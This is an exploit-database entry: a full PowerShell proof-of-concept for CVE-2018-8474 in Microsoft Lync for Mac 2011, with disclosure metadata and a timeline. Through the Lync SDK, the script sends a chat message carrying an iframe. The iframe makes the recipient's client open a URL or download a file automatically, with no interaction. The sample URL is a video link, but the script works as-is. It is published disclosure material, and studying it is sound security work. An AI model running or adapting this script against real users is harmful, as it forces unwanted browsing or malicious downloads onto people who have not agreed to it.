Microsoft Lync For Mac 2011 Injection

`# Exploit Title: Microsoft Lync for Mac 2011 Injection Forced Browsing/Download  
# Author: @nyxgeek - TrustedSec  
  
# Date: 2018-03-20  
# Vendor Homepage: microsoft.com  
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=36517  
# CVE: CVE-2018-8474  
# Version: Lync:Mac 2011 14.4.3, likely earlier versions  
# Tested on: Lync:Mac 2011 14.4.3 (170308)  
  
# Description:  
# Force browsing or download via embedded iframe in a chat window. No user  
# interaction required. When the iframe contains a web site URL, a new browser  
# window of the default browser will open with the URL.  
# If the URL is a file, it will download it automatically if it is a permitted  
# file type (e.g., zip)  
  
# A write-up can be found at:  
# https://www.trustedsec.com/2018/09/full-disclosure-microsoft-lync-for-mac-2011-susceptible-to-forced-browsing-download-attack/  
  
# Requirements: Originating machine needs Lync 2013 SDK installed  
# (https://www.microsoft.com/en-us/download/details.aspx?id=36824)  
  
# Timeline of Disclosure:  
#  
# 07/18/2017 - Reported issue to Microsoft  
# 11/22/2017 - Microsoft has reproduced problem  
# 03/07/2018 - Microsoft replies that they have decided not to fix, but gave  
# their blessing for disclosure  
  
  
#target user  
$target = "user@domain"  
  
$message = "<iframe src='https://www.youtube.com/watch?v=9Rnr70wCQSA'></iframe>"  
  
  
if (-not (Get-Module -Name Microsoft.Lync.Model))  
{  
try  
{  
# you may need to change the location of this DLL  
Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop  
}  
catch  
{  
Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"  
}  
}  
  
# Connect to the local Skype process  
try  
{  
$client = [Microsoft.Lync.Model.LyncClient]::GetClient()  
}  
catch  
{  
Write-Host "`nYou need to have Skype open and signed in first"  
break  
}  
  
#Start Conversation  
$msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"  
  
#Add the Message  
$msg.Add(1,$message)  
  
# Add the contact URI  
try  
{  
$contact = $client.ContactManager.GetContactByUri($target)  
}  
catch  
{  
Write-Host "`nFailed to lookup Contact"$target  
break  
}  
  
  
# Create a conversation  
$convo = $client.ConversationManager.AddConversation()  
$convo.AddParticipant($contact) | Out-Null  
  
# Set the message mode as IM  
$imModality = $convo.Modalities[1]  
# Send the message  
$imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null  
# End the Convo to suppress the UI  
$convo.End() | Out-Null  
  
Write-Host "Sent the following message to "$target":`n"$message  
  
`